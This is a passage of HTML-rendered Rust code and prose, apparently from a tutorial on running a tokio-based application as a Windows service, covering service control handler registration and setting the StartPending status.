&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;app_service_main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_arguments&lt;/span&gt;: &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;OsString&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run_service&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// log error (e.g. to Windows Event Log)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="service-initialization"&gt;Service initialization&lt;/h2&gt;
&lt;p&gt;In our &lt;code&gt;run_service()&lt;/code&gt;, we are going to do the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a oneshot channel to be able to signal a shutdown and initiate a token cancellation in our application when we receive a STOP from the service control manager (SCM)&lt;/li&gt;
&lt;li&gt;Register our service control handler code to define what should happen for which control event&lt;/li&gt;
&lt;li&gt;Set the service state from start pending to running&lt;/li&gt;
&lt;li&gt;Create the tokio runtime&lt;/li&gt;
&lt;li&gt;Create a cancellation token to be able to cancel the application&amp;rsquo;s tasks on shutdown&lt;/li&gt;
&lt;li&gt;Spawn a background task to receive and handle our shutdown signal&lt;/li&gt;
&lt;li&gt;Eventually run our app with &lt;code&gt;run_app()&lt;/code&gt;, just like in the console mode case mentioned in the beginning&lt;/li&gt;
&lt;li&gt;Finally, once our app has finished, set the service state to stopped again&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since the code is easier to follow with inline comments, I&amp;rsquo;ve annotated &lt;code&gt;run_service&lt;/code&gt; below rather than describing it separately. I also mentioned a few things that could be improved when doing this for a production application.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Main service logic for registration of SCM handler code (for
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// handling stop events from SCM), to signal to SCM that we&amp;#39;re
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// starting/running/stopping, and eventually running the app within the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// tokio runtime.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;run_service&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;windows_service&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// oneshot channel to be able to receive stop requests, should the SCM
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// control handler send one.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The transmitter part goes into the control handler closure, the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// receiver goes into our own background tasks which handles the token
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// cancellation and setting of the stop pending state.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shutdown_tx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shutdown_rx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oneshot&lt;/span&gt;::&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shutdown_tx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Mutex&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shutdown_tx&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Register service control handler
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// This wraps RegisterServiceCtrlHandlerExW – so we tell SCM to call
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// the following closure whenever it needs to signal a control command
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// to us.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The closure runs in a separate thread.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Since register() gives us a status handle, this must be called
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// before we can set a status (start pending, etc.)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// SERVICE_NAME is required here again, as multiple services could
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// potentially share the same binary (not in our case, but part of API).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_control_handler&lt;/span&gt;::&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;SERVICE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;move&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;control_event&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;control_event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControl&lt;/span&gt;::&lt;span class="n"&gt;Interrogate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Mandatory so SCM can check if the service is still alive
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// and responding
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControlHandlerResult&lt;/span&gt;::&lt;span class="n"&gt;NoError&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControl&lt;/span&gt;::&lt;span class="n"&gt;Stop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// SCM (or a user through SCM) has requested a stop of the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// service. Use oneshot transmitter to signal a shutdown to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// our app (in case it hasn&amp;#39;t exited yet, i.e. receiver is
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// still there).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// We use the channel here and not the cancellation token
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// directly as we don&amp;#39;t have the status handle yet and make
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// it a little easier.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shutdown_tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;unwrap&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(());&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControlHandlerResult&lt;/span&gt;::&lt;span class="n"&gt;NoError&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// For any other control event we just tell SCM that we can&amp;#39;t
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// handle it.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControlHandlerResult&lt;/span&gt;::&lt;span class="n"&gt;NotImplemented&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Tell SCM that we&amp;#39;ve received the start request
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// This is technically not necessary since we don&amp;#39;t have an
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// involved/long-lasting setup logic, so we could just go straight into
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Running, and don&amp;#39;t set StartPending with a wait_hint. I added it for
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// completeness.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// SERVICE_WIN32_OWN_PROCESS, i.e. we run our own non-shared
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// process
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Starting up... (the new state of the service)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;StartPending&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Accept no control during startup
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// No error
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Progress checkpoint for SCM (only relevant if we would have a
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// multi-step initialization and want to report progress)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// How long SCM should wait before considering the service as hung
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;from_secs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Only used for shared processes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
